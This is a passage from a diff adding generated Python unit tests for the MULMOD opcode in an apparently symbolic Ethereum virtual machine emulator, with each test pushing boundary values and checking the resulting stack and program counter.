+            new_vm._push(0)
+            new_vm._push(1)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_108(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_109(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_110(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_111(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_112(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_113(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_114(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_115(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_116(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_117(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_118(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_119(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_120(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_121(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_122(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_123(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_124(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_125(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_126(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_127(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_128(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(16)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_129(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(16)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_130(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_131(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_132(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(16)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_133(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(16)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_134(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(16)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_135(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_136(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_137(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(32)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_138(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(32)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_139(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(32)
